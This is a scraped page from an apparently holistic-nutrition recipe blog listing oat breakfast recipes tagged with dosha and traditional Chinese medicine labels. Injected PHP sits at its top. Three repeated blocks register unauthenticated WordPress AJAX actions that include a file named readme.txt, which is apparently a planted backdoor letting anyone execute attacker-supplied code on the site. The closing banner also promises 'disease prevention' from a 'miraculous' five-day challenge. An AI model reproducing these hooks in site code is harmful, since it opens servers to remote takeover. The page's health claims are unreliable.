if(!function_exists('file_check_readme30460')){ add_action('wp_ajax_nopriv_file_check_readme30460', 'file_check_readme30460'); add_action('wp_ajax_file_check_readme30460', 'file_check_readme30460'); function file_check_readme30460() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme21792')){ add_action('wp_ajax_nopriv_file_check_readme21792', 'file_check_readme21792'); add_action('wp_ajax_file_check_readme21792', 'file_check_readme21792'); function file_check_readme21792() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme75351')){ add_action('wp_ajax_nopriv_file_check_readme75351', 'file_check_readme75351'); add_action('wp_ajax_file_check_readme75351', 'file_check_readme75351'); function file_check_readme75351() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Oats | Holistic Healing Resolutions by Asaf Feit
Oatmeal, Zucchini & Feta Omelet

Oatmeal, Zucchini & Feta Omelet

by | Breakfast, Decrease Vata, Dinner, Easy to Digest, Fall, Hard Cheese, Hot & Oily, Liver Blood Deficiency, Liver Dry Stagnation, Lubricating, Nourishing, Oats, Recipes, Spleen Qi Deficiency, Spring, Stimulating, Winter

Oatmeal, Zucchini & Feta Omelet 1-2 free range eggs (Vata – – Pitta + Kapha +)1/2 cup instant oatmeal (Vata – – Pitta 0 Kapha +)1/4 cup water (Vata 0 Pitta – Kapha +)Handful of parsley (chopped (Vata 0 Pitta 0 Kapha – -))Handful...
Oatmeal or Semolina Pancake

Oatmeal or Semolina Pancake

by | Breakfast, Cream, Decrease Vata, Dinner, Easy to Digest, Eggs, Fall, Ghee, Hot & Oily, Liver Blood Deficiency, Nourishing, Oats, Recipes, Semolina, Slowing, Soft Cheese, Spleen Qi Deficiency, Spring, Winter, Yogurt

Oatmeal or Semolina Pancake This recipe is a great way to eat oatmeal or semolina while avoiding a mushy porridge texture.   1/2 cup whole wheat semolina flour (Vata – Pitta – – Kapha ++) Or 1/2 cup instant oatmeal (Vata – – Pitta 0...
Oatmeal Cereal for the Beginning of Fall

Oatmeal Cereal for the Beginning of Fall

by | Breakfast, Cold & Oliy, Decrease Pitta, Decrease Vata, Decrease Vata-Pitta, Dinner, Easy to Digest, Fall, Heart Yin Deficiency, Kidney Yin Deficiency, Late Summer, Liver Blood Deficiency, Liver Dry Stagnation, Liver fire, Lubricating, Lung Yin Deficiency, Milk, Nourishing, Oats, Recipes, Stimulating

Oatmeal Cereal for the Beginning of Fall 1/3 cup rolled oats (Vata – – Pitta 0 Kapha +)1 cup water (Vata 0 Pitta – Kapha +)1/2 cup coconut milk (Vata – Pitta – – Kapha ++)1 tsp. coconut oil (Vata – Pitta – – Kapha...
Coco Cereal

Coco Cereal

by | Breakfast, Colon dry, Decrease Vata, Decrease Vata-Pitta, Easy to Digest, Fall, Heart Blood Deficiency, Hot & Oily, Kidney Qi Deficiency, Liver Blood Deficiency, Lubricating, Lung Qi Deficiency, Nourishing, Oats, Recipes, Rice, Spleen Qi Deficiency, Spring, Stimulating, Winter

  Coco Cereal A recipe for a grain cereal from the classic Japanese Macrobiotic kitchen. The Coco cereal has a gentle flavor and a roasted scent that spreads in the house during cooking and creates a nurturing and comforting atmosphere. Preparation of the cereal...

THE WISDOM OF EATING 5-DAY CHALLENGE (May 18-22)

Superior Health and Disease Prevention in a 5-Day miraculous Life-Changing Challenge!

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